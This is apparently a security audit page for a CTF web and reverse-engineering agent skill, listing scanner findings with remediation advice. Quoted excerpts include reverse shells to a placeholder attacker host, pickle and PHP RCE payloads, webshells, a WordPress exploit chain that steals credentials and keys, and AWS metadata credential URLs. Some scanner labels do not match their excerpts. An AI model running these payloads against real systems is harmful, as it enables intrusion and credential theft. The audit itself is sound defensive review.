Back to skill

Security audit

CTF Web & Reverse Audit

Security checks for vulnerabilities and agentic risk

Overview

This is a coherent CTF web and reverse-engineering skill, but it includes highly actionable exploitation, credential-access, and remote-install guidance without enough authorization and containment boundaries.

Install only if you will use it in authorized CTF, lab, or owned environments. Treat network exploitation, credential retrieval, reverse shells, webshells, cloud metadata probes, and remote tool installers as high-risk; use a disposable VM or container, avoid mounted secrets, and pin or inspect any downloaded tooling before running it.

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T08 · Insecure Dependencies

Warning
Location
references/ctf-reverse/tools-advanced-2.md:139
Finding

Unpinned Remote Tool Installation and Execution

Content
View full analysis

Vulnerability Details

File Location: references/ctf-reverse/tools-advanced-2.md:139
Vulnerability Type: Unverified third-party dependency installation
Risk Level: Medium

Vulnerable Code

bash
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

Technical Analysis

The documentation directs the Agent or user to clone the current state of a remote repository and immediately execute its setup script. The command does not pin a commit or release and does not verify a checksum, signature, or repository state before execution.

Consequently, the code executed by setup.sh may differ from the code present when this Skill was audited. If the upstream repository, maintainer account, dependency chain, or network resolution is compromised, an attacker could replace the setup script or one of its downloaded dependencies with arbitrary code.

Similar unpinned installation instructions appear elsewhere, including:

bash
pip install sqlmap
pip install semgrep
pip install sqlmap flask-unsign requests
pip install frida-tools angr qiling uncompyle6 capstone lief z3-solver

These package installation commands resolve mutable package versions and do not enforce hashes. While installing analysis tools is consistent with the Skill's declared functionality, unrestricted installation is not the minimum privilege necessary when tools can instead be pinned, verified, and installed in an isolated environment.

Attack Path

  1. An attacker compromises the upstream repository, a maintainer account, a package release, or a transitive dependency.
  2. The Agent follows the documented installation command.
  3. Git retrieves the attacker-controlled current repository state.
  4. ./setup.sh executes without review or integrity verification.
  5. The malicious setup process runs with the privileges of the Agent or user and may access files, credentials, network resources, and a ...[truncated 770 chars]
Remediation
View remediation

Remediation Suggestions

  • Pin the dependency to a reviewed commit hash or immutable signed release.
  • Verify release signatures or cryptographic checksums before execution.
  • Separate retrieval from execution so the downloaded script can be inspected first.
  • Install Python packages with exact versions and hashes, such as through a locked requirements file using pip install --require-hashes.
  • Perform installations inside an unprivileged container or dedicated virtual environment.
  • Do not run setup scripts with elevated privileges.
  • Restrict network access, mounted credentials, and writable host paths during installation.
  • Maintain an approved dependency manifest and periodically review pinned versions for known vulnerabilities.

T05 · Unauthorized Access and Privilege Escalation

Error
Location
references/security-arsenal/SKILL.md:82
Finding

Cloud Instance Metadata Credential Retrieval Guidance

Content
View full analysis

Vulnerability Details

File Location: references/security-arsenal/SKILL.md:82-84
Vulnerability Type: Cloud credential access through SSRF
Risk Level: High

Vulnerable Code

text
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

Technical Analysis

The security arsenal explicitly provides AWS Instance Metadata Service endpoints, including the endpoint used to retrieve temporary IAM role credentials. When supplied to a vulnerable server-side URL-fetching feature, these addresses can cause the target server to query its link-local metadata service.

If the target supports IMDSv1, or if an SSRF primitive permits the headers and methods needed for IMDSv2, the response may contain temporary access-key credentials. These credentials can authorize access to cloud APIs independently of the original vulnerable application.

Metadata probing is relevant to the declared CTF web-exploitation scope. However, retrieving cloud credentials crosses a significant privilege boundary and exceeds least privilege unless the target is an expressly authorized CTF or isolated testing environment. The Skill does not place an explicit authorization gate directly around these payloads.

Attack Path

  1. Identify an application function that fetches a user-controlled URL.
  2. Submit the metadata root URL to verify that the application can reach 169.254.169.254.
  3. Query /latest/meta-data/iam/security-credentials/ to obtain the attached IAM role name.
  4. Query /latest/meta-data/iam/security-credentials/ROLE-NAME.
  5. Extract the returned temporary access key, secret access key, and session token.
  6. Use the credentials with cloud APIs within the permissions assigned to the compromised instance role.
  7. If the role is overprivileged, enumerate or access additional cloud resources outs ...[truncated 821 chars]
Remediation
View remediation

Remediation Suggestions

  • Add an explicit requirement that metadata and credential-retrieval payloads may only be used against authorized CTF or laboratory targets.
  • Require confirmation of target ownership and scope before performing SSRF tests against cloud metadata services.
  • Use clearly non-routable placeholders in general examples and place live metadata endpoints in a separately gated advanced section.
  • Recommend testing with a mock metadata service that returns synthetic credentials.
  • In deployment guidance, require IMDSv2, disable IMDS where unnecessary, and set the metadata response hop limit appropriately.
  • Apply least-privilege IAM policies to instance roles and prohibit unnecessary role chaining.
  • Block link-local and private address ranges in URL-fetching features after DNS resolution and on every redirect.
  • Normalize and validate URLs consistently, disable unnecessary redirects, and enforce outbound network controls.
  • Monitor metadata access and rotate credentials immediately after suspected SSRF exploitation.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Rogue AgentSelf-Modification, Session Persistence
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (275)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
99% confidence
Finding

The reference to obtaining a Meterpreter shell confirms the content is guiding post-exploitation workflow using a well-known offensive framework. In context, it forms part of a chain from unauthenticated RCE to credential theft and root SSH access, making the skill materially dangerous if used by an agent without strict boundaries.

Content

Scanner excerpt · references/ctf-web/cves.md (reported line 336)May include surrounding context.

n-ajax action, exploitable unauthenticated.

Version fingerprint: Fetch /wp-content/plugins/revslider/release_log.txt — the plugin writes its version there even when the admin UI is locked down.

bash
# 1. RCE via RevSlider upload (Metasploit module)
msfconsole -q -x "use exploit/unix/webapp/wp_revslider_upload_execute; \
  set RHOSTS 172.30.0.3; set LHOST tun0; exploit"

# 2. From the meterpreter shell, steal DB creds from wp-config.php
cat /var/www/wp-config.php | grep -E "DB_(NAME|USER|PASSWORD|HOST)"
# -> DB_USER='wordpress', DB_PASSWORD='0NYa6PBH52y86C', DB_HOST='172.30.0.2'

# 3. Pivot: connect as the DB user and read any world-readable file with load_file()
mysql -h 172.30.0.2 -u wordpress --password='0NYa6PBH52y86C' \
      -e "SELECT load_file('/backup/id_rsa')"
#   (requires FILE privilege, granted to the WP user on older default stacks)

# 4. Use the exfiltrated key to SSH into the target as root
chmod 400 rsa.key
ssh -i rsa.key root@172.30.0.3

**Key insight:

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical
Category
YARA Match
Confidence
99% confidence
Finding

This is a direct reverse-shell pattern embedded in a pickle RCE example, enabling full remote interactive access to a compromised host. Within a skill, inclusion of a ready-made reverse shell is highly dangerous because it is immediately weaponizable with trivial edits.

Content

Scanner excerpt · references/ctf-web/server-side-deser.md (reported line 85)May include surrounding context.

(os.system, ('command',))` — instant RCE. There is NO safe way to deserialize untrusted pickle data.

python
import pickle, base64, os

class RCE:
    def __reduce__(self):
        return (os.system, ('cat /flag.txt',))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)

# For reverse shell:
class RevShell:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"',))

# Using exec for multi-line payloads:
class ExecRCE:
    def __reduce__(self):
        return (exec, ('import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])',))

Bypass restricted unpicklers:

  • RestrictedUnpickler may allowlist specific modules — chain through allowed classes
  • If builtins allowed: (__builtins__.__import__, ('os',)) then chain .system()
  • YAML deserialization (yaml.load() without `Loader=SafeLo

YARA rule 'php_webshell_generic': Generic PHP webshell — eval/assert on user-controlled input [webshells]

Critical
Category
YARA Match
Confidence
99% confidence
Finding

This finding captures explicit PHP webshell-style code execution through user-controlled $_GET input, embedded as an exploitation payload. In context, the document is not accidentally containing the pattern; it is intentionally teaching RCE gadget construction, which is highly actionable and dangerous if reused against non-CTF systems.

Content

Scanner excerpt · references/ctf-web/server-side-exec-2.md (reported line 721)May include surrounding context.

-cli SCRIPT LOAD` + signed SHA1 and refuse scripts the client did not precompile.

References: HumanCTF / HackOver 2018 — No vuln, trust me, writeup 11816


PHP create_function String Interpolation RCE (FireShell 2019)

Pattern: Classic PHP gadget: server calls create_function('$a, $b', 'return strcmp($a->'.$order.', $b->'.$order.');') with a user-controlled $order. Supply ; system($_GET[c]); return 0; // to close the strcmp prematurely and run arbitrary PHP inside the generated anonymous function.

text
order=;system($_GET[c]);return 0;//
&c=id

Key insight: Any PHP function that builds code from a string and hands it to eval/create_function/assert accepts arbitrary PHP with the right semicolon/comment dance. Grep for create_function in legacy codebases — it is removed in PHP 8 but still common in CTFs mirroring 2018-era apps.

References: FireShell CTF 2019 — Bad injections, writeup 12917


php://input + NULL Byte + ~Bitwise

YARA rule 'php_webshell_obfuscated': Obfuscated PHP webshell — eval(base64_decode/gzinflate/str_rot13) [webshells]

Critical
Category
YARA Match
Confidence
88% confidence
Finding

Although this match is triggered by a vulnerable-code example rather than an obfuscated webshell, the section still provides actionable exploit construction using preg_replace(.../e...) and system('cat /flag'). In context, it teaches how to weaponize eval-like behavior into code execution against PHP targets.

Content

Scanner excerpt · references/ctf-web/server-side-exec.md (reported line 149)May include surrounding context.

Functionconstructor, which creates functions from strings -- equivalent toeval` with no keyword to block.


PHP preg_replace /e Modifier RCE (PlaidCTF 2014)

Pattern: PHP's preg_replace() with the /e modifier evaluates the replacement string as PHP code. Combined with unserialize() on user-controlled input, craft a serialized object whose properties trigger a code path using preg_replace("/pattern/e", "system('cmd')", ...).

php
// Vulnerable code pattern:
preg_replace($pattern . "/e", $replacement, $input);
// If $replacement is attacker-controlled:
$replacement = 'system("cat /flag")';

Via object injection (POP chain):

php
// Craft serialized object with OutputFilter containing /e pattern
$filter = new OutputFilter("/^./e", 'system("cat /flag")');
$cookie = serialize($filter);
// Send as cookie → unserialize triggers preg_replace with /e

Key insight: The /e modifier (deprecated in PHP 5.5, removed in PHP 7.0) turns preg_replace int

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical
Category
YARA Match
Confidence
99% confidence
Finding

This line contains a reverse shell example (bash -i >& /dev/tcp/...) coupled with instructions for parameterized execution via PHP backticks. Reverse shells are a clear post-exploitation mechanism for interactive attacker control and have no meaningful defensive need in an agent skill of this form.

Content

Scanner excerpt · references/ctf-web/server-side-exec.md (reported line 186)May include surrounding context.

ktick operator executes shell commands. When eval() input has a character limit, backticks provide shell execution in minimal characters.

php
// 11-character RCE via eval()
echo`cat *`;

// 8-character directory listing
echo`ls`;

// 10-character parameterized command execution
`$_GET[0]`;

// 12-character reverse shell trigger
`$_GET[x]`;
// Then pass the full command via GET parameter: ?x=bash -i >& /dev/tcp/attacker/4444 0>&1

Character count comparison:

text
echo`cat *`;              // 12 chars - read all files
echo`ls`;                 // 9 chars  - list directory
`$_GET[0]`;               // 11 chars - parameterized execution
system('id');             // 13 chars - standard approach
exec('id');               // 11 chars - also standard

Key insight: PHP backticks are equivalent to shell_exec(). When eval() input has a character limit, echo`cmd` provides shell execution in as few as 8 characters. The $_GET[0] trick moves the actual payload to

YARA rule 'php_webshell_generic': Generic PHP webshell — eval/assert on user-controlled input [webshells]

Critical
Category
YARA Match
Confidence
99% confidence
Finding

The .htaccess upload bypass section provides explicit instructions to deploy a PHP webshell (<?php system($_GET['cmd']); ?>) and invoke arbitrary command execution. This is direct persistence and RCE enablement, not merely vulnerability education.

Content

Scanner excerpt · references/ctf-web/server-side-exec.md (reported line 265)May include surrounding context.

md
nerabilities become RCE when you can control either the file extension (`.htaccess`, `.php`, `.so`) or the upload path (path traversal). Try uploading server config files (`.htaccess`), shared libraries (`.so`), or use log poisoning as fallback when direct code upload is blocked.

### .htaccess Upload Bypass
1. Upload `.htaccess`: `AddType application/x-httpd-php .lol`
2. Upload `rce.lol`: `<?php system($_GET['cmd']); ?>`
3. Access `rce.lol?cmd=cat+flag.txt`

### PHP Log Poisoning
1. PHP payload in User-Agent header
2. Path traversal to include: `....//....//....//var/log/apache2/access.log`

### Python .so Hijacking (by Siunam)
1. Compile: `gcc -shared -fPIC -o auth.so malicious.c` with `__attribute__((constructor))`
2. Upload via path traversal: `{"filename": "../utils/auth.so"}`
3. Delete .pyc to force reimport: `{"filename": "../utils/__pycache__/auth.cpython-311.pyc"}`

Reference: https://siunam321.github.io/research/python-dirty-arbitrary-file-write-to-rce-via-writing-shared-obje

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
96% confidence
Finding

The skill references well-known offensive tools and provides concrete exploitation commands, such as sqlmap for automated SQL injection enumeration, alongside ffuf and flask-unsign for discovery and token/cookie abuse. In context, these are not mere neutral mentions: they are operational instructions that can enable unauthorized exploitation when used outside a lab or CTF environment.

Content

Scanner excerpt · SKILL.md (reported line 37)May include surrounding context.

��路由与 API。 3. 判定漏洞族:注入 / 越权 / 解析差异 / 上传 / 信任代理 / 状态机 / 客户端。 4. 先拿最小原语:读一个文件、伪造一个 token、打一个内部接口;再链接成完整利用。

powershell
# 侦察
curl -sI https://target/
curl -s https://target/robots.txt
ffuf -u https://target/FUZZ -w wordlist.txt -mc 200,301,302,403

# SQLi
sqlmap -u "https://target/page?id=1" --batch --dbs

# JWT 解码(不验签)
$PY -c "import base64,json,sys; p=sys.argv[1].split('.')[1]; p+='='*(-len(p)%4); print(json.dumps(json.loads(base64.urlsafe_b64decode(p)),indent=2))" "<token>"

# Flask cookie 解码/爆破密钥
flask-unsign --decode --cookie "<cookie>"
flask-unsign --unsign --cookie "<cookie>" --wordlist rockyou.txt

# SSTI 探针
curl "https://target/?name={{7*7}}"
curl "https://target/?name={{config}}"

常见链型

  • 侦察 → 隐藏路由 → 认证绕过 → 读内部文件 → 拿 token/flag
  • XSS → 管理员 bot

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · references/ctf-reverse/anti-analysis-ctf.md (reported line 76)May include surrounding context.

md
if mnem not in ('jmp', 'je', 'jne', 'call', 'ret'):
            instructions.append((ea, mnem, idc.print_operands(ea)))
        ea = idc.next_head(ea)
    return instructions

transforms = trace_transforms(0x401000, 0x401200)

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · references/ctf-reverse/anti-analysis.md (reported line 61)May include surrounding context.

i-Debug (Real-World Pattern)](#layered-anti-debug-real-world-pattern)


Linux Anti-Debug (Advanced)

ptrace-Based

Self-ptrace (most common):

c
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) exit(1); // Already traced = debugger attached

Bypasses:

bash
# 1. LD_PRELOAD (see patterns.md for full hook)
LD_PRELOAD=./hook.so ./binary

# 2. Patch with pwntools
python3 -c "
from pwn import *
elf = ELF('./binary', checksec=False)
elf.asm(elf.symbols.ptrace, 'xor eax, eax; ret')
elf.save('patched')
"

# 3. GDB: catch the syscall
gdb ./binary
(gdb) catch syscall ptrace
(gdb) run
# When it stops at ptrace:
(gdb) set $rax = 0
(gdb) continue

# 4. Kernel config (requires root)
echo 0 > /proc/sys/kernel/yama/ptrace_scope

Double-ptrace pattern:

c
// Fork child to ptrace parent — blocks all other debuggers
pid_t child = fork();
if (child == 0) {
    ptrace(PTRACE_ATTACH, getppid(), 0, 0);

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-reverse/anti-analysis.md (reported line 65)May include surrounding context.


Linux Anti-Debug (Advanced)

ptrace-Based

Self-ptrace (most common):

c
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) exit(1); // Already traced = debugger attached

Bypasses:

bash
# 1. LD_PRELOAD (see patterns.md for full hook)
LD_PRELOAD=./hook.so ./binary

# 2. Patch with pwntools
python3 -c "
from pwn import *
elf = ELF('./binary', checksec=False)
elf.asm(elf.symbols.ptrace, 'xor eax, eax; ret')
elf.save('patched')
"

# 3. GDB: catch the syscall
gdb ./binary
(gdb) catch syscall ptrace
(gdb) run
# When it stops at ptrace:
(gdb) set $rax = 0
(gdb) continue

# 4. Kernel config (requires root)
echo 0 > /proc/sys/kernel/yama/ptrace_scope

Double-ptrace pattern:

c
// Fork child to ptrace parent — blocks all other debuggers
pid_t child = fork();
if (child == 0) {
    ptrace(PTRACE_ATTACH, getppid(), 0, 0);
    // Child sits in waitpid loop, keeping parent traced
} else {

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · references/ctf-reverse/platforms-hardware.md (reported line 172)May include surrounding context.


Linux Anti-Debug (Advanced)

ptrace-Based

Self-ptrace (most common):

c
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) exit(1); // Already traced = debugger attached

Bypasses:

bash
# 1. LD_PRELOAD (see patterns.md for full hook)
LD_PRELOAD=./hook.so ./binary

# 2. Patch with pwntools
python3 -c "
from pwn import *
elf = ELF('./binary', checksec=False)
elf.asm(elf.symbols.ptrace, 'xor eax, eax; ret')
elf.save('patched')
"

# 3. GDB: catch the syscall
gdb ./binary
(gdb) catch syscall ptrace
(gdb) run
# When it stops at ptrace:
(gdb) set $rax = 0
(gdb) continue

# 4. Kernel config (requires root)
echo 0 > /proc/sys/kernel/yama/ptrace_scope

Double-ptrace pattern:

c
// Fork child to ptrace parent — blocks all other debuggers
pid_t child = fork();
if (child == 0) {
    ptrace(PTRACE_ATTACH, getppid(), 0, 0);
    // Child sits in waitpid loop, keeping parent traced
} else {

Missing User Warnings

High
Category
Not specified by scanner
Confidence
95% confidence
Finding

This section gives step-by-step guidance for patching a Go C2 client UUID, registering to the server, enumerating other clients, and downloading their files. That is explicit unauthorized access and collection of exfiltrated data, which can facilitate intrusion, privacy violations, and post-compromise abuse even if framed as a CTF technique.

Content

No source excerpt is available for this finding.

Ssd 3

High
Category
Not specified by scanner
Confidence
97% confidence
Finding

The instructions explicitly describe impersonating a new client identity in a C2 environment and then listing and downloading other clients' exfiltrated files. This is operational abuse guidance, not merely analysis, and could directly support unauthorized access to sensitive data stores.

Content

No source excerpt is available for this finding.

Missing User Warnings

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The content describes constructing authenticated payloads and calling cloud functions directly to bypass client-side validation, without guardrails about account impact, authorization, or interaction with live infrastructure. In an agent skill, lack of warning and limitation around direct network actions makes harmful misuse more likely and lowers the barrier to abusing backend functionality.

Content

No source excerpt is available for this finding.

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/ctf-reverse/field-notes.md (reported line 48)May include surrounding context.

md
- [VM Sequential Key-Chain Brute-Force (Midnight Flag 2026)](#vm-sequential-key-chain-brute-force-midnight-flag-2026)
- [Burrows-Wheeler Transform Inversion without Terminator (ASIS CTF Finals 2016)](#burrows-wheeler-transform-inversion-without-terminator-asis-ctf-finals-2016)
- [OpenType Font Ligature Exploitation for Hidden Messages (Hack The Vote 2016)](#opentype-font-ligature-exploitation-for-hidden-messages-hack-the-vote-2016)
- [GLSL Shader VM with Self-Modifying Code (ApoorvCTF 2026)](#glsl-shader-vm-with-self-modifying-code-apoorvctf-2026)
- [Instruction Counter as Cryptographic State (MetaCTF Flash 2026)](#instruction-counter-as-cryptographic-state-metactf-flash-2026)
- [Thread Race Condition with Signed Integer Overflow (Codegate 2017)](#thread-race-condition-with-signed-integer-overflow-codegate-2017)
- [ESP32/Xtensa Firmware Reversing with ROM Symbol Map (Insomni'hack 2017)](#esp32xtensa-firmware-reversing-with-rom-symbol-map-insomnihack-2017)

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/ctf-reverse/field-notes.md (reported line 249)May include surrounding context.

md
- [VM Sequential Key-Chain Brute-Force (Midnight Flag 2026)](#vm-sequential-key-chain-brute-force-midnight-flag-2026)
- [Burrows-Wheeler Transform Inversion without Terminator (ASIS CTF Finals 2016)](#burrows-wheeler-transform-inversion-without-terminator-asis-ctf-finals-2016)
- [OpenType Font Ligature Exploitation for Hidden Messages (Hack The Vote 2016)](#opentype-font-ligature-exploitation-for-hidden-messages-hack-the-vote-2016)
- [GLSL Shader VM with Self-Modifying Code (ApoorvCTF 2026)](#glsl-shader-vm-with-self-modifying-code-apoorvctf-2026)
- [Instruction Counter as Cryptographic State (MetaCTF Flash 2026)](#instruction-counter-as-cryptographic-state-metactf-flash-2026)
- [Thread Race Condition with Signed Integer Overflow (Codegate 2017)](#thread-race-condition-with-signed-integer-overflow-codegate-2017)
- [ESP32/Xtensa Firmware Reversing with ROM Symbol Map (Insomni'hack 2017)](#esp32xtensa-firmware-reversing-with-rom-symbol-map-insomnihack-2017)

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/ctf-reverse/patterns-ctf-3.md (reported line 13)May include surrounding context.

md
- [VM Sequential Key-Chain Brute-Force (Midnight Flag 2026)](#vm-sequential-key-chain-brute-force-midnight-flag-2026)
- [Burrows-Wheeler Transform Inversion without Terminator (ASIS CTF Finals 2016)](#burrows-wheeler-transform-inversion-without-terminator-asis-ctf-finals-2016)
- [OpenType Font Ligature Exploitation for Hidden Messages (Hack The Vote 2016)](#opentype-font-ligature-exploitation-for-hidden-messages-hack-the-vote-2016)
- [GLSL Shader VM with Self-Modifying Code (ApoorvCTF 2026)](#glsl-shader-vm-with-self-modifying-code-apoorvctf-2026)
- [Instruction Counter as Cryptographic State (MetaCTF Flash 2026)](#instruction-counter-as-cryptographic-state-metactf-flash-2026)
- [Thread Race Condition with Signed Integer Overflow (Codegate 2017)](#thread-race-condition-with-signed-integer-overflow-codegate-2017)
- [ESP32/Xtensa Firmware Reversing with ROM Symbol Map (Insomni'hack 2017)](#esp32xtensa-firmware-reversing-with-rom-symbol-map-insomnihack-2017)

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/ctf-reverse/patterns-ctf-3.md (reported line 349)May include surrounding context.

md
- [VM Sequential Key-Chain Brute-Force (Midnight Flag 2026)](#vm-sequential-key-chain-brute-force-midnight-flag-2026)
- [Burrows-Wheeler Transform Inversion without Terminator (ASIS CTF Finals 2016)](#burrows-wheeler-transform-inversion-without-terminator-asis-ctf-finals-2016)
- [OpenType Font Ligature Exploitation for Hidden Messages (Hack The Vote 2016)](#opentype-font-ligature-exploitation-for-hidden-messages-hack-the-vote-2016)
- [GLSL Shader VM with Self-Modifying Code (ApoorvCTF 2026)](#glsl-shader-vm-with-self-modifying-code-apoorvctf-2026)
- [Instruction Counter as Cryptographic State (MetaCTF Flash 2026)](#instruction-counter-as-cryptographic-state-metactf-flash-2026)
- [Thread Race Condition with Signed Integer Overflow (Codegate 2017)](#thread-race-condition-with-signed-integer-overflow-codegate-2017)
- [ESP32/Xtensa Firmware Reversing with ROM Symbol Map (Insomni'hack 2017)](#esp32xtensa-firmware-reversing-with-rom-symbol-map-insomnihack-2017)

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/ctf-reverse/patterns.md (reported line 19)May include surrounding context.

md
- [VM Sequential Key-Chain Brute-Force (Midnight Flag 2026)](#vm-sequential-key-chain-brute-force-midnight-flag-2026)
- [Burrows-Wheeler Transform Inversion without Terminator (ASIS CTF Finals 2016)](#burrows-wheeler-transform-inversion-without-terminator-asis-ctf-finals-2016)
- [OpenType Font Ligature Exploitation for Hidden Messages (Hack The Vote 2016)](#opentype-font-ligature-exploitation-for-hidden-messages-hack-the-vote-2016)
- [GLSL Shader VM with Self-Modifying Code (ApoorvCTF 2026)](#glsl-shader-vm-with-self-modifying-code-apoorvctf-2026)
- [Instruction Counter as Cryptographic State (MetaCTF Flash 2026)](#instruction-counter-as-cryptographic-state-metactf-flash-2026)
- [Thread Race Condition with Signed Integer Overflow (Codegate 2017)](#thread-race-condition-with-signed-integer-overflow-codegate-2017)
- [ESP32/Xtensa Firmware Reversing with ROM Symbol Map (Insomni'hack 2017)](#esp32xtensa-firmware-reversing-with-rom-symbol-map-insomnihack-2017)

Self-Modification

High
Category
Rogue Agent
Confidence
90% confidence
Finding

Skill modifies its own code, configuration, or behavior at runtime. Self-modification enables an agent to escalate privileges, disable safety constraints, or install persistent backdoors.

Content

Scanner excerpt · references/ctf-reverse/patterns.md (reported line 230)May include surrounding context.

md
- [VM Sequential Key-Chain Brute-Force (Midnight Flag 2026)](#vm-sequential-key-chain-brute-force-midnight-flag-2026)
- [Burrows-Wheeler Transform Inversion without Terminator (ASIS CTF Finals 2016)](#burrows-wheeler-transform-inversion-without-terminator-asis-ctf-finals-2016)
- [OpenType Font Ligature Exploitation for Hidden Messages (Hack The Vote 2016)](#opentype-font-ligature-exploitation-for-hidden-messages-hack-the-vote-2016)
- [GLSL Shader VM with Self-Modifying Code (ApoorvCTF 2026)](#glsl-shader-vm-with-self-modifying-code-apoorvctf-2026)
- [Instruction Counter as Cryptographic State (MetaCTF Flash 2026)](#instruction-counter-as-cryptographic-state-metactf-flash-2026)
- [Thread Race Condition with Signed Integer Overflow (Codegate 2017)](#thread-race-condition-with-signed-integer-overflow-codegate-2017)
- [ESP32/Xtensa Firmware Reversing with ROM Symbol Map (Insomni'hack 2017)](#esp32xtensa-firmware-reversing-with-rom-symbol-map-insomnihack-2017)

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · references/ctf-reverse/patterns-ctf-3.md (reported line 581)May include surrounding context.

d date comparison.

Detection: Look for comparisons against large integer constants that fall in a recognizable date range (Unix timestamps: 2012 = ~1.35B, 2017 = ~1.5B). Cultural significance helps: apocalypse dates, CTF release dates, historical events.

bash
# Set system clock to the required date
sudo date -s "2012-12-21 00:00:00"
./binary

# Or use faketime to avoid system-wide change
LD_PRELOAD=/usr/lib/faketime/libfaketime.so.1 FAKETIME="2012-12-21 00:00:00" ./binary

# Restore system time afterward
sudo ntpdate pool.ntp.org

In IDA/Ghidra: Search for time() or localtime() calls. The struct tm fields to watch: tm_year (years since 1900), tm_mon (0-based), tm_mday.

Key insight: Time-based keys use culturally significant dates. Always check for date comparisons in reversed code and try setting the system clock or using faketime before attempting deeper analysis.

References: Hack.lu CTF 2017


ARM Code in Image Pixels via UnicornJS (Hack.

YARA rule 'backdoor_persistence': Backdoor persistence with malicious payloads (shell commands, SSH key injection, hidden root users) [malware]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · references/ctf-reverse/patterns-ctf.md (reported line 50)May include surrounding context.

ENGINE *impl, const unsigned char *key, const unsigned char iv) { // Log key for (int i = 0; i < 32; i++) printf("%02x", key[i]); printf("\n"); // Call original return ((typeof(EVP_DecryptInit_ex))dlsym(RTLD_NEXT, "EVP_DecryptInit_ex")) (ctx, type, impl, key, iv); }

text

```bash
gcc -shared -fPIC -ldl -lssl hook.c -o hook.so
LD_PRELOAD=./hook.so ./emulator rom.ch8

Spectre-RSB SPN Cipher — Static Parameter Extraction (0xFun 2026)

Pattern: Binary uses cache side channels to implement S-boxes, but ALL cipher parameters (round keys, S-box tables, permutation) are in the binary's data section.

Key insight: Don't try to run on special hardware. Extract parameters statically:

  • 8 S-boxes × 8 output bits, 256 entries each
  • Values 0x340 = bit 1, 0x100 = bit 0
  • 64-byte permutation table, 8 round keys
python
# Extract from binary data section
import struct
sbox = [[0]*256 for _ in range(8)

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Confidence
94% confidence
Finding

The document imports pwntools and provides a complete remote oracle exploitation loop, which materially lowers the barrier to attacking network services. In this skill's context—web/reverse/CTF exploitation assistance—that content is more dangerous because the agent may operationalize it for active target interaction rather than purely educational analysis.

Content

Scanner excerpt · references/ctf-reverse/patterns-runtime.md (reported line 77)May include surrounding context.

python

Final stage loads flag 4 bytes at a time via mov ebx, value

Extract little-endian 4-byte chunks

